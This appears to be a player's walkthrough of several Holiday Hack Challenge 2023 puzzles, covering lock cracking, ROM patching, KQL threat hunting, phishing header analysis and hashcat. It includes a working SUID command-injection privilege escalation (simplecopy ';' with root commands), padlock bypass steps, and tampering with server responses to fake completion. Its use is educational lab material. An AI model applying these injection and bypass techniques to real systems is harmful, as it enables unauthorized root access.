โ Invoke a run-command and use a RunShellScript against the VM to reveal a file
elf@84d2543b8a87:~$ az vm run-command invoke -g northpole-rg2 -n "NP-VM1" --command-id RunShellScript --scripts 'ls'
{
"value": [
{
"code": "ComponentStatus/StdOut/succeeded",
"displayStatus": "Provisioning succeeded",
"level": "Info",
"message": "bin\netc\nhome\njinglebells\nlib\nlib64\nusr\n",
"time": 1702591291
},
{
"code": "ComponentStatus/StdErr/succeeded",
"displayStatus": "Provisioning succeeded",
"level": "Info",
"message": "",
"time": 1702591291
}
]
}
Before leaving the area, head north to the resort and enter the Resort Lobby to unlock the destination.
๐ Luggage Lock ๐
๐ Objective: Help Garland Candlesticks on the Island of Misfit Toys get back into his luggage by finding the correct position for all four dials.
โต Destination: Island of Misfit Toys (Squarewheel Yard)
โ๏ธ Solution: Find the 4 digit combination to unlock Garland Candlesticksโ luggage
- โ๏ธ Sail east to the
Island of Misfit Toysand on the far east side dock atSquarewheel Yard - โ๏ธ Open
Luggage Lock Decodechallenge - โ๏ธ Play on four wheels difficulty
- โ๏ธ Apply pressure and feel for dial resistance to locate correct combination
๐ฌ Garland Candlesticks Conversation:
Hey there, I'm Garland Candlesticks! I could really use your help with something.
You see, I have this important pamphlet in my luggage, but I just can't remember the combination to open it!
Chris Elgee gave a talk recently that might help me with this problem. Did you attend that?
I seem to recall Chris mentioning a technique to figure out the combinations...
I have faith in you! We'll get that luggage open in no time.
This pamphlet is crucial for me, so I can't thank you enough for your assistance.
Once we retrieve it, I promise to treat you to a frosty snack on me!
Wow, you did it! I knew you could crack the code. Thank you so much!
๐ก Breakdown:
Sailing east from Christmas Island to the Island of Misfit Toys, find Garland Candlesticks and his locked luggage.
Click on the case to start a new attempt with four wheels of difficulty.
Solve the challenge by using key bindings to interact with the case rather than the mouse.
Starting out apply 4 levels of pressure by using SPACE so that it has sufficient pressure. From here hold R and watch for what number consistently encounters resistance and holds for the longest time. Repeat this process for the remaining 3 dials (using E, W, Q to turn them), and then apply the 5th level of pressure to unlock the case. This process is demonstrated below.
Successful completion opens the luggage and reveals its contents.
Note: This challenge had a bug early on that caused some cases to automatically unlock without input. Upon reporting, Jared Folkins from the Counter Hack team was able to isolate, and with the rest of the team, resolve the issue.
๐ Linux PrivEsc ๐๐๐
๐ Objective: Rosemold is in Ostrich Saloon on the Island of Misfit Toys. Give her a hand with escalation for a tip about hidden islands.
โต Destination: Island of Misfit Toys (Ostrich Saloon)
โ๏ธ Solution: simplecopy ";" "/root/runmetoanswer" and santa
- โ๏ธ Sailing southwest of
Squarewheel Yard, dock atScaredy-kite Heightsin the most southwest corner of theIsland of Misfit Toys - โ๏ธ Head northeast into the
Ostrich Saloonto findRose Moldand theLinux PrivEscCranberry Pi terminal - โ๏ธ Locate the vulnerable
simplecopySUID enabled binary - โ๏ธ Discover the syntax for exploiting this binary
- โ๏ธ Exploit a vulnerability in the binary to run
/root/runmetoanswerand respond withsanta
๐ฌ Rose Mold Conversation:
What am I doing in this saloon? The better question is: what planet are you from?
Yes, Iโm a troll from the Planet Frost. I decided to stay on Earth after Holiday Hack 2021 and live among the elves because I made such dear friends here.
Whatever. Do you know much about privilege escalation techniques on Linux?
You're asking why? How about I'll tell you why after you help me.
And you might have to use that big brain of yours to get creative, bub.
Yup, I knew you knew. You just have that vibe.
To answer your question of why from earlier... Nunya!
But, I will tell you something better, about some information I... found.
There's a hidden, uncharted area somewhere along the coast of this island, and there may be more around the other islands.
The area is supposed to have something on it that's totes worth, but I hear all the bad vibe toys chill there.
That's all I got. K byyeeeee.
Ugh... n00bs...
๐ก Breakdown:
Sailing southwest, locate the Scaredy-kite Heights dock in the southwest corner of the Island of Misfit Toys, and head northeast to find the Ostrich Saloon.
Entering the Ostrich Saloon you find Rose Mold and the Linux PrivESC Cranberry Pi terminal.
Opening the Cranberry Pi terminal presents a challenge:
In a digital winter wonderland we play,
Where elves and bytes in harmony lay.
This festive terminal is clear and bright,
Escalate privileges, and bring forth the light.
Start in the land of bash, where you reside,
But to win this game, to root you must glide.
Climb the ladder, permissions to seize,
Unravel the mystery, with elegance and ease.
There lies a gift, in the root's domain,
An executable file to run, the prize you'll obtain.
The game is won, the challenge complete,
Merry Christmas to all, and to all, a root feat!
* Find a method to escalate privileges inside this terminal and then run the binary in /root *
Given this is a Unix-like system (Linux), we can first see if thereโs any unusual binaries with a SUID bit set. If either a SUID bit or SGID bit is set on a file it will be run with the same permissions as the user or group owner of the file respectively. In this instance a search solely for SUID bits set on files globally finds 9 items.
elf@79460c918f76:~$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/su
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/passwd
/usr/bin/simplecopy
The first 8 results are pretty common amongst Unix-like systems and arenโt likely to have any obvious vulnerabilities which can be abused. Simplecopy on the other hand isnโt a known prevalent binary.
By checking the permissions on this it is shown that the SUID bit is indeed set (the s in rws).
elf@79460c918f76:~$ ls -la /usr/bin/simplecopy
-rwsr-xr-x 1 root root 16952 Dec 2 22:17 /usr/bin/simplecopy
Running this presents usage instructions.
elf@79460c918f76:~$ /usr/bin/simplecopy
Usage: /usr/bin/simplecopy <source> <destination>
This very closely ressembles the cp copy syntax. By running it against non-existent files an error message shows this is using cp under the hood.
elf@705fe709674f:~$ /usr/bin/simplecopy a a
cp: cannot stat 'a': No such file or directory
Attempting to end the cp bash command by specifying ; as a source and whoami as a destination allows injecting our own commands as root despite any error messages. It essentially results in cp being run with no parameters, and instead the injected command being run.
elf@79460c918f76:~$ /usr/bin/simplecopy ";" "whoami"
cp: missing file operand
Try 'cp --help' for more information.
root
Repeating this with ; as a source and ls -la /root as a destination reveals the binary that needs to be run /root/runmetoanswer.
elf@79460c918f76:~$ /usr/bin/simplecopy ";" "ls -la /root"
cp: missing file operand
Try 'cp --help' for more information.
total 620
drwx------ 1 root root 4096 Dec 2 22:17 .
drwxr-xr-x 1 root root 4096 Dec 14 23:47 ..
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
-rws------ 1 root root 612560 Nov 9 21:29 runmetoanswer
Repeating this one more time with ; as a source and /root/runmetoanswer as a destination allows the binary to be run as root. This presents a simple question that needs the answer santa to solve the challenge.
elf@79460c918f76:~$ simplecopy ";" "/root/runmetoanswer"
cp: missing file operand
Try 'cp --help' for more information.
Who delivers Christmas presents?
> santa
Your answer: santa
Checking....
Your answer is correct!
๐ Faster Lock Combination ๐๐
๐ Objective: Over on Steampunk Island, Bow Ninecandle is having trouble opening a padlock. Do some research and see if you can help open it!
โต Destination: Steampunk Island (Brass Bouy Port)
โ๏ธ Solution: Using a Sticky Number and Guess Numbers brute force a combination padlock
- โ๏ธ Sail north of the
Island of Misfit Toysand dock atBrass Bouy Portat the beak ofSteampunk Island - โ๏ธ Head west to find
Bow Ninecandleneeding the combination to a padlock - โ๏ธ Using the lock mechanics, find the
Sticky Number - โ๏ธ Find
2 Guess Numbersbetween0and11 - โ๏ธ Perform
3mathematical formulas to:- โ๏ธ Find the first digit
- โ๏ธ Find the third digit
- โ๏ธ Find
8to16possible combinations for the second digit
- โ๏ธ Try all
8to16possible padlock combinations
๐ฌ Bow Ninecandle Conversation:
Hey there! I'm Bow Ninecandle, and I've got a bit of a... 'pressing' situation.
You see, I need to get into the lavatory, but here's the twist: it's secured with a combination padlock.
Talk about bad timing, right? I could really use your help to figure this out before things get... well, urgent.
I'm sure there are some clever tricks and tips floating around the web that can help us crack this code without too much of a flush... I mean fuss.
Remember, we're aiming for quick and easy solutions here - nothing too complex.
Once we've gathered a few possible combinations, let's team up and try them out.
I'm crossing my legs - I mean fingers - hoping we can unlock this door soon.
After all, everyone knows that the key to holiday happiness is an accessible lavatory!
Let's dive into this challenge and hopefully, we won't have to 'hold it' for too long! Ready to help me out?
Oh, thank heavens! You're a lifesaver! With your knack for cracking codes, we've just turned a potential 'loo catastrophe' into a holiday triumph!
๐ก Breakdown:
Sail north of the Island of Misfit Toys to find and dock at Brass Bouy Port on Steampunk Island. Head west to find Bow Ninecandle and the Faster Lock challenge.
โ Locate the sticky number:
- Double click the dial to reset it (a physical lock would need it to be turned clockwise several times)
- Place tension on the shackle and pull up until the lock siezes, let off a bit of tension so the dial is able to be turned
Siezed lock:
Tensioned, but turnable lock:
- Turn the dial clockwise and keep turning until it physically slows and almost stops on a number.
In the above the sticky number is shown as 30.
โ Find the guess numbers (between 0 and 11)
- Apply heavy tension to the shackle (so it siezes)
- The first
guess numberwill be apparent when the lock siezes between 2half numbers(the middle of them is the guess number) - Repeat this to find the second guess number
In the above the guess numbers are shown as 4 and 9.
โ Find the first digit
- This is going to be the
Sticky Number+5
In this instance the number is 35.
โ Find the third digit
Take the first digit and divide by 4. Remember the remainder (either 0,1,2,3)
- 35/4 = 8, remainder
3.- Plot a table using the guess numbers found with
2 rowsand4 columns - Add
10to each
- Plot a table using the guess numbers found with
| Guess Number | Num + 10 | Num + 20 | Num + 30 |
|---|---|---|---|
| 4 | 14 | 24 | 34 |
| 9 | 19 | 29 | 39 |
Using the remembered remainder as a guide, divide these by 4 until you get 2 numbers with the same remainder (these are 2 possible values for the third digit)
4/4 = 1, 0 remainder
14/4 = 3, 2 remainder
24/4 = 6, 0 remainder
34/4 = 8, 2 remainder
9/4 = 2, 1 remainder
19/4 = 4, 3 remainder
29/4 = 7, 1 remainder
39/4 = 9, 3 remainder
In the above the 2 possible values for the third digit are 19 and 39 as these both have the same remainder identified of 3.
- Turn the dial and stop on each number
- Place heavy tension on the shackle and turn, the number which feels most loose is likely the third digit
In this instance the numbers could be 19 or 39 but is most likely 19 based on how loose it feels.
โ Find the second digit (8 possibilities)
- Using the remembered remainder, create a table with
2 rows and 5 columns- row 1, column 1, is the
remainder +2. To get the remaining columnsadd 8 to it 4 times - row 2, column 1, is the
remainder +2 +4. To get the remaining columnsadd 8 to it 4 times - eliminate any values within
2 digitsof the3rd digitidentified.
- row 1, column 1, is the
| Remainder Calculation | Calculation +8 | Calculation +16 | Calculation +24 | Calculation +32 |
|---|---|---|---|---|
| 5 | 13 | 21 | 29 | 37 |
| 9 | 17 | 25 | 33 | 41 |
Removing the possibilities for the 3rd digit would leave:
If third number is 19
5 13 29 37
9 25 33 41
If third number is 39
5 13 21 29
9 17 25 33
โ Try possible combinations
Using known possibilities the lock combination is likely to be one of the following:
If third number is 19
35 5 19
35 13 19
35 29 19
35 37 19
35 9 19
35 25 19
35 33 19
If third number is 39
35 5 39
35 13 39
35 21 39
35 29 39
35 9 39
35 17 39
35 25 39
35 33 39
In this instance, testing these solutions finds the correct answer in only a second attempt, taking less than a minute: 35 13 19
Note: Bow Ninecandle has a familiar voice that I just canโt put my finger on ๐
๐ Game Cartridges: Vol 1 ๐
๐ Objective: Find the first Gamegosling cartridge and beat the game
โต Destination: Island of Misfit Toys (Tarnished Trove)
โ๏ธ Solution: santaconfusedgivingplanetsqrcode
- โ๏ธ Sail northeast of
Steampunk Islandand dock atDriftbit Grottoon the neck ofPixel Island - โ๏ธ Head west to find a game cartridge (Vol 2)
- โ๏ธ Receive the
Game Boy Cartridge DetectorfromTinsel Upatree - โ๏ธ Sail south of
Pixel Islandto theIsland of Misfit Toysand dock atTarnished Trove - โ๏ธ Find the game cartridge (Vol 1) hidden under a
straw hat - โ๏ธ Solve
Elf the Dwarf's Gloriously, Unfinished, Adventure! - Vol1and scan theQR code
๐ฌ Dusty Giftwrap Conversation:
Arrr, matey, shiver me timbers! There be buried treasure herrrrre.
Just kidding, I'm not really a pirate, I was just hoping it would make finding the treasure easier.
I guess you heard about the fabled buried treasure, too? I didn't expect to see anyone else here. This uncharted islet was hard to find.
I bet one of these creepy toys has the treasure, and I'm sure not going anywhere near them!
If you find the treasure, come back and show me, and I'll tell you what I was able to research about it.
Good luck!
Whoa, you found it!
It's a... video game cartridge? Coooooollll... I mean, arrrrrr....
So, here's what my research uncovered. Not sure what it all means, maybe you can make sense of it.
๐ก Breakdown:
Sail northeast of Steampunk Island and dock at Driftbit Grotto on the neck of Pixel Island. Talk to Tinsel Upatree and retrieve the Game Boy Cartridge Detector.
Sail south of Pixel Island to the Island of Misfit Toys and dock at Tarnished Trove. Locate a suspicious straw hat and walk into it.
Obtain Elf the Dwarf's Gloriously, Unfinished, Adventure! - Vol1 and play the game.
Talk to the dog and accept the mission of fixing a QR Code.
Run around singing as if you were on a game show. Constantly spam the sing button at blocks until you find a block that needs to be moved. Push the block into the designated area.
Eventually realise that one mistake means having to start again, so instead of wasting time download the rom by intercepting local network traffic to find where it is being pulled from.
GET /vol1-uWn1t6xv4VKPZ6FN/rom/game.gb HTTP/2
Host: gamegosling.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://gamegosling.com/vol1-uWn1t6xv4VKPZ6FN/index.html?&challenge=gameboy1&username=JPMinty&id=307d0bf7-5ae4-444b-9588-2f357e62a426&area=imt-tarnishedtrove&location=50,80&tokens=&dna=ATATATTAATATATATATATTAGCATATATATTATAGCTAATATATATATATATTAATATATATATATTAATATATTAGCATATATATATATGCCGATATATATATATATGCATATTAAT
Dnt: 1
Sec-Gpc: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Run the game in a local emulator such as Visual Boy Advance, and take advantage of the realtime save state capability to save and load as required.
Keep singing and pushing until the QR code is solved.
Scan the QR code and find the flag.
https://8bitelf.com/
flag:santaconfusedgivingplanetsqrcode
๐ Game Cartridges: Vol 2 ๐๐๐
๐ Objective: Find the second Gamegosling cartridge and beat the game
โต Destination: Island of Pixel Island (Driftbit Grotto)
โ๏ธ Solution: GL0RY
- โ๏ธ Play the previously obtained
Elf the Dwarf's Gloriously, Unfinished, Adventure! - Vol2from your inventory - โ๏ธ Restart the game and detect that there are 2 versions of the game you can wind up playing
- โ๏ธ Download
game0.gbandgame1.gbroms and examine them in a hex editor - โ๏ธ Patch elements of one game onto the other until you can pass through to a portal
- โ๏ธ Listen to the
old-timey radioand obtain themorse code - โ๏ธ Decode the morse code to retrieve the flag
GL0RY
๐ฌ Tinsel Upatree Conversation:
I can't believe I was actually able to find this underground cavern!
I discovered what looked liike an old pirate map in the attic of one of those huts in Rainraster Cliffs, and it actually led somewhere!
But now that I've seen where it leads, I think this might've been a bad idea. This place is scary! Maybe you want to take it from here?
There are 3 buried treasures in total, each in its own uncharted area around Geese Islands.
I've been searching for a bit, but the mustiness down here is making me sneeze!
Maybe you'll be able to find it. Here, use my Gameboy Cartridge Detector. Go into your items and test it to make sure it's still working.
When you get close to the treasure, it'll start sounding off. The closer you get, the louder the sound.
No need to activate or fiddle with it. It just works!
I bet it's somewhere right... near... ACHOOO!
If you find the treasure, come back and show me, and I'll tell you what I was able to research about it.
Good luck!
Whoa, you found it!
What version is it?
Did you know that many games had multiple versions released? Word is: volume 2 has 2 versions!
๐ก Breakdown:
Play Elf the Dwarf's Gloriously, Unfinished, Adventure! - Vol2 previously obtained from Driftbit Grotto.
Intercept requests to gamegosling.com and locate where game0.gb or game1.gb is being pulled from.
Attempt to play either served game and be halted by a wizard at either the top or bottom of the map.
Download a copy of both game0.gb and game1.gb and compare these using a hex editor.
https://gamegosling.com/vol2-akHB27gg6pN0/rom/game1.gb
https://gamegosling.com/vol2-akHB27gg6pN0/rom/game0.gb
Examining the differences shows thereโs only 12 bytes different at around 6 different offsets.
โ Offset 0x14F
โ Offset 0x593-0x596
โ Offset 0x16A84
โ Offset 0x16AB8
โ Offset 0x17C80
โ Offset 0x1850E-0x18514
By manually replacing hex values one at a time from game0.gb into game1.gb, it was found that the offset at 0x16A84 controlled what side the portal was on, and 0x16AB8 controlled what side the wizard was on.
Entering the portal revealed ChatNPT talking about an old-timey radio.
Listening to the radio you can hear morse code. By recording this using Audacity and the Windows WASAPI loopback API, it can then be uploaded to a service such as an online Morse Decoder.
Although the output may be messed up during interpretation of the first characters, listening to the morse code manually helps to realise this is actually GL0RY the flag for the challenge.
๐ Game Cartridges: Vol 3 ๐๐๐
๐ Objective: Find the third Gamegosling cartridge and beat the game
โต Destination: Steampunk Island (Rusty Quay)
โ๏ธ Solution: !tom+elf!
- โ๏ธ Sail northwest of the
Island of Misfit Toysand dock atRusty Quayon the west side ofSteampunk Island - โ๏ธ Zoom out to discover a
mazeand thethird Gamegosling cartridgeat the end of it - โ๏ธ Solve the maze to obtain
Elf the Dwarfโs, Gloriously, Unfinished, Adventure! - Vol3 - โ๏ธ Play the game and notice anomalies present
- โ๏ธ Collect
999coins and cause an error - โ๏ธ Cause the game to set a path forward by collecting the right amount of coins
- โ๏ธ Speak to
Tom Liston, ChatNPT, and obtain the flag
๐ฌ Angel Candysalt Conversation:
The name's Angel Candysalt, the great treasure hunter!
A euphemism? No, why do people always ask me that??
Anyways, I came here to nab the treasure hidden in this ship graveyard, only to discover it's protected by this rusted maze.
That must be why all these old ships are here. Their crew came to find the treasure, only to get lost in the labrynth.
At least it's obvious where this one is. See that shiny spot over to the right? That's gotta be where it is! If only I had a bird's eye view.
But how to get there? Up? Down? Left? Right? Oh well, that's your problem now!
Come back if you can find your way to it, and I'll tell you some secrets I've heard about this one.
The life of a treasure hunter isn't easy, but it sure is exciting!
Oh it's a video game, I love video games! But you've claimed this treasure, nicely done.
Now, about those secrets I've been told. They're pretty cryptic, but they are. Hopefully that helps with something!
You have all three? Wow, you must be the greatest treasure hunter that ever lived!
๐ก Breakdown:
Sail northwest from the Island of Misfit Toys and dock at Rusty Quay on the west side of Steampunk Island. Zoom out to see a maze with the third Gamegosling cartridge at the end of it.
Look at network traffic to discover the maze is pulled from the following URL.
https://2023.holidayhackchallenge.com/images/fabric/spi-rustyquay_floor.jpg
Working your way back from the end of the maze, use the spi-rustyquay_floor.jpg image to mark a trail leading to the beginning of the maze.
Follow the path to find the game and play it. For an augmented experience which guides you to the finish, replace the floor class background URL to point to a copy of the modified spi-rustyquay_floor.jpg
Intercept the request and download game.gb to emulate it locally.
gamegosling.com/vol3-7bNwQKGBFNGQT1/rom/game.gb
Collect coins and evade enemies to increase your score by either 1, 10, or 100 points depending on the coin.
Make your way to the end area where Jared mentions that marketing always loved talking about 5 nines, but that it was more like 3 nines.
Continue collecting coins and eventually youโll reach a gap that you canโt pass with a max score of 678 if you never died and collected all coins.
Fall down and continue collecting coins in the first area, the first coin is worth 1 point, second is worth 10, and third is worth 100. Collect exactly 989 points and return to the gap again to find that a bridge has appeared.
Note: Collecting 999 causes an error to be thrown; however, this error is hard-coded into the game as a message for hitting 999 points.
Travelling into the cave you meet the hacker Tom Liston who gives you a passphrase morethanmeetstheeye, and speaking this to ChatNPT causes a variable to be set that allows moving a rock and securing the flag.
This is likely an unintended solution to the challenge given the reference to three nines makes it seem like the score you needed to get was 999
๐ Naโan ๐๐
๐ Objective: Shifty McShuffles is hustling cards on Film Noir Island. Outwit that meddling elf and win!
โต Destination: Film Noir Island (Chiaroscuro City)
โ๏ธ Solution: Defeat Shifty McShuffles by playing variations of nan
- โ๏ธ Sail east and dock at
Chiaroscuro CityonFilm Noir Island(the right foot of the island) - โ๏ธ Travel northwest to find
Shifty McShufflesand a game of `Na'anโ - โ๏ธ Challenge the elf to a game and score
10points to win
๐ฌ Shifty McShuffles Conversation:
Hey there, stranger! Fancy a game of cards? Luck's on your side today, I can feel it.
Step right up, test your wit! These cards could be your ticket to fortune.
Trust me, I've got a good eye for winners, and you've got the look of luck about you.
Plus, I'd wager you've never played this game before, as this isn't any ordinary deck of cards. It's made with Python.
The name of the game is to bamboozle the dealer.
So whad'ya think? Are you clever enough?
Well, you sure are more clever than most of the tourists that show up here.
I couldn't swindle ya, but don't go telling everyone how you beat me!
An elf's gotta put food on the table somehow, and I'm doing the best I can with what I got.
๐ก Breakdown:
Sail east and dock at Chiaroscuro City on Film Noir Island. Head northwest to find Shifty.
Intercept web requests to see that a score parameter is being sent in a POST request to nannannannannannan.com.
Notice that the cards played are also being sent in a POST request to nannannannannannan.com.
Playing various capitalisation combinations of the value NaN (not a number) confuses the program and allows beating Shifty every time.
Itโs worth noting that if only a single NaN is sent you can still wind up losing the hand.
Continuing to send the Batman theme song in POST requests leads to victory.
๐ KQL Kraken Hunt ๐๐
๐ Objective: Use Azure Data Explorer to uncover misdeeds in Santaโs IT enterprise. Go to Film Noir Island and talk to Tangle Coalbox for more information.
โต Destination: Film Noir Island (Gumshow Alley PI Office)
โ๏ธ Solution: Beware the Cube that Wombles
๐ฌ Tangle Coalbox Conversation:
Greetings, rookie. Tangle Coalbox of Kusto Detective Agency here.
I've got a network infection case on Film Noir Island that needs your expertise.
Seems like someone clicked a phishing link within a client's organization, and trouble's brewing.
I'm swamped with cases, so I need an extra pair of hands. You up for the challenge?
You'll be utilizing the Azure Data Explorer and those KQL skills of yours to investigate this incident.
Before you start, you'll need to create a free cluster.
Keep your eyes peeled for suspicious activity, IP addresses, and patterns that'll help us crack this case wide open.
Remember, kid, time is of the essence. The sooner we can resolve this issue, the better.
If you run into any problems, just give me a holler, I've got your back.
Good hunting, and let's bring this cyber criminal to justice.
Once you've got the intel we need, report back and we'll plan our next move. Stay sharp, rookie.
I had my doubts, but you've proven your worth.
That phishing scheme won't trouble our client's organization anymore, thanks to your keen eye and investigatory prowess.
So long, Gumshoe, and be careful out there.
- โ๏ธ Head northwest to find the entrance of
Gumshow Alley PI OfficeinChiaroscuro City - โ๏ธ Enter the building to find
Tangle Coalboxand theKusto Detectivechallenge - โ๏ธ Create a free
Kusto clusterand insert system telemetry - โ๏ธ Discover
how many Craftperson Elf's are working from laptops - โ๏ธ Discover
the email address of the employee who received this phishing email - โ๏ธ Discover
the email address that was used to send this spear phishing email - โ๏ธ Discover
the subject line used in the spear phishing email - โ๏ธ Discover
the role of our victim in the organization - โ๏ธ Discover
the hostname of the victim's machine - โ๏ธ Discover
the source IP linked to the victim - โ๏ธ Discover
the time Alabaster clicked on the malicious link - โ๏ธ Discover
what file is dropped to Alabaster's machine shortly after he downloads the malicious file - โ๏ธ Discover
the IP address forwarded to from an attacker reverse tunnel - โ๏ธ Discover
the timestamp when the attackers enumerated network shares on the machine - โ๏ธ Discover
the hostname of the system the attacker moved laterally to - โ๏ธ Discover
the attacker's first base64 encoded PowerShell command executed on Alabaster's machine - โ๏ธ Discover
the name of the file the attacker copied from the fileshare - โ๏ธ Discover
the domain name data was likely exfiltrated to - โ๏ธ Discover
the name of the executable the attackers used in the final malicious command - โ๏ธ Discover
the command line flag used alongside this executable - โ๏ธ Run the provided query to uncover the flag
๐ก Breakdown:
Head northwest to find the entrance of Gumshoe Alley PI Office in Chiaroscuro City.
Enter Gumshoe Alley PI Office to find Tangle Coalbox and the Kusto Detective challenge.
Open the challenge and read the email from Lieutenant Hackstopper.
Follow the FAQ and Train me for the case buttons to stand up a Kusto cluster and begin the challenge. Using Kusto Query Language and the new cluster, solve the following questions:
โ Discover how many Craftperson Elfโs are working from laptops
Employees
| where hostname has "LAPTOP" and role == "Craftsperson Elf"
| count
25
This opens up Case 1.
โ Discover the email address of the employee who received this phishing email
Email
| where link == 'http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx'
| take 1
โ the email address that was used to send this spear phishing email
Email
| where link == 'http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx'
| take 1
โ the subject line used in the spear phishing email
Email
| where link == 'http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx'
| take 1
[EXTERNAL] Invoice foir reindeer food past due
This opens up Case 2.
โ the role of our victim in the organization
Employees
| where name == "Alabaster Snowball"
Head Elf
โ the hostname of the victimโs machine
Employees
| where name == "Alabaster Snowball"
Y1US-DESKTOP
โ the source IP linked to the victim
Employees
| where name == "Alabaster Snowball"
10.10.0.4
This opens up Case 3.
โ the time Alabaster clicked on the malicious link
OutboundNetworkEvents
| where url == 'http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx'
2023-12-02T10:12:42Z
โ what file is dropped to Alabasterโs machine shortly after he downloads the malicious file
FileCreationEvents
| summarize count() by username
Then using Alabasterโs usernameโฆ
FileCreationEvents
| where username == "alsnowball"
giftwrap.exe
This opens up Case 4.
โ the IP address forwarded to from an attacker reverse tunnel
ProcessEvents
| where username == "alsnowball"
113.37.9.17
โ the timestamp when the attackers enumerated network shares on the machine
ProcessEvents
| where username == "alsnowball"
2023-12-02T16:51:44Z
โ the hostname of the system the attacker moved laterally to
ProcessEvents
| where username == "alsnowball"
NorthPolefileshare
This opens up Case 5.
โ the attackerโs first base64 encoded PowerShell command executed on Alabasterโs machine
ProcessEvents
| where username == "alsnowball" and process_commandline has "enc"
Using CyberChef decode the commands to identify the first one as a benign SCCM command.
2023-12-24T16:07:47Z
โ the name of the file the attacker copied from the fileshare
ProcessEvents
| where username == "alsnowball" and process_commandline has "enc"
NaughtyNiceList.txt
โ the domain name data was likely exfiltrated to
ProcessEvents
| where username == "alsnowball" and process_commandline has "enc"
giftbox.com
This opens up Case 6.
โ the name of the executable the attackers used in the final malicious command
ProcessEvents
| where username == "alsnowball" and process_commandline has "enc"
downwithsanta.exe
ProcessEvents
| where username == "alsnowball" and process_commandline has "enc"
โ the command line flag used alongside this executable
โwipeall
This reveals a command to uncover the final flag.
Beware the Cube that Wombles
๐ Phish Detection Agency ๐๐
๐ Objective: Fitzy Shortstack on Film Noir Island needs help battling dastardly phishers. Help sort the good from the bad!
โต Destination: Film Noir Island (The Blacklight District)
โ๏ธ Solution: Identify the 10 phishing emails
- โ๏ธ Sail north around
Film Noir Islandto reachThe Blacklight Districtdock - โ๏ธ Head northeast to find
Fitzy Shortstackand thePhish detectionCranberry Pi terminal - โ๏ธ Sort the phishing emails from the legitimate emails by marking them as either
SafeorPhishing
๐ฌ Fitzy Shortstack Conversation:
You've cracked the case! Once again, you've proven yourself to be an invaluable asset in our fight against these digital foes.
Note: Previous conversations with Fitzy donโt appear to have been recorded during the playthrough.
๐ก Breakdown:
Sail north around the wing of Film Noir Island and dock at The Blacklight District dock. Head northeast to find Fitzy Shortstack and the Phish detection Cranberry Pi.
Click on the Phish Detection Cranberry Pi and understand that some emails are marked safe that are phishing, and some are marked phishing which are safe.
The challenge provides information on SPF, DKIM, and DMARC records for the geeseislands.com domain that can be used to help find phishing emails.
It should be noted that the email headers provided are stripped to bare minimum fields. Itโs also worth noting that DKIM as defined in RFC6376, has a signature data field defined by b= within a header. When reviewing the email headers in this challenge all of them have a hardcoded b= value which isnโt calculated by the message hash or any content within the email as it should be, but this has no impact on passing or failing any checks, or indicating that an email may be phishing.
b=HJgZP0lGJb8xK3t18YsOUpZ+YvgcCj2h3ZdCQF/TN0XQlWgZt4Ll3cEjy1O4Ed9BwFkN8XfOaKJbnN+lCzA8DyQ9PDPkT9PeZw2+JhQK1RmZdJlfg8aIlXvB2Jy2b2RQlKcY0a5+j/48edL9XkF2R8jTtKgZd9JbOOyD4EHD6uLX5;
By marking an email as safe or phishing and intercepting the request itโs shown that a list of currently marked phishing senders is being sent to the server to compare whether it matches to a list of known malicious senders.
Modifying the response received to say the lists match results in a message saying that the challenge has been completed, despite it not actually being completed.
Combing over all the emails shows 10 phishing emails based on their email Headers and sender details.
โ 1. [email protected]
This email shows that the sender was actually from [email protected] with a spoofed sender, and failed DMARC checks.
โ 2. [email protected]
This email shows that the sender was actually [email protected], had an invalid DKIM signature, and failed DMARC checks.
โ 3. [email protected]
This email shows that it had an altered DKIM signature, and it failed DMARC checks.
โ 4. [email protected]
This email shows that the sender was actually [email protected], and although it had a DKIM signature and passed DMARC checks, this was for the unauthorized.com domain not geeseislands.com.
โ 5. [email protected]
This email shows that the sender was actually [email protected], and although it had a DKIM signature and passed DMARC checks, this was for the unknownsource.com domain not geeseislands.com.
โ 6. [email protected]
This email shows that the DKIM signature wasn't present, and that it failed DMARC checks.
โ 7. [email protected]
This email shows that the sender was actually [email protected] not geeseislands.com, and although it had a DKIM signature, it failed DMARC checks.
โ 8. [email protected]
This email shows that it had an invalid DKIM signature and failed DMARC checks.
โ 9. [email protected]
This email shows that the sender was actually [email protected] not geeseislands.com, and although it had valid DKIM and valid DMARC, this was for the externalserver.com domain.
โ 10. [email protected]
This email shows that the sender was actually [email protected] not geeseislands.com, and although it had valid DKIM and valid DMARC, this was for the otherdomain.com domain.
These 10 emails correctly identified as phishing with all others marked safe solves the challenge.
๐ Hashcat ๐๐
๐ Objective: Eve Snowshoes is trying to recover a password. Head to the Island of Misfit Toys and take a crack at it!
โต Destination: Island of Misfit Toys (Scaredy Kite Heights)
โ๏ธ Solution: /bin/runtoanswer IluvC4ndyC4nes!
- โ๏ธ Quick travel to
Scaredy Kite Heightswhich was unlocked when heading to theOstrich Saloon - โ๏ธ Locate
Eve Snowshoesand theHashcatCranberry Pi terminal adjacent to the stuffed elephant - โ๏ธ Identify the hash type required to be cracked
- โ๏ธ Crack the hash to reveal the password
IluvC4ndyC4nes!and run/bin/runtoanswer IluvC4ndyC4nes!
๐ฌ Eve Snowshoes Conversation:
Greetings, fellow adventurer! Welcome to Scaredy-Kite Heights, the trailhead of the trek through the mountains on the way to the wonderful Squarewheel Yard!
I'm Eve Snowshoes, resident tech hobbyist, and I hear Alabaster is in quite the predicament.
Our dear Alabaster forgot his password. He's been racking his jingle bells of memory with no luck.
I've been trying to handle this password recovery thing parallel to this hashcat business myself but it seems like I am missing some tricks.
So, what do you say, chief, ready to get your hands on some hashcat action and help a distraught elf out?
Aha! Success! Alabaster will undoubtedly be grateful for our assistance.
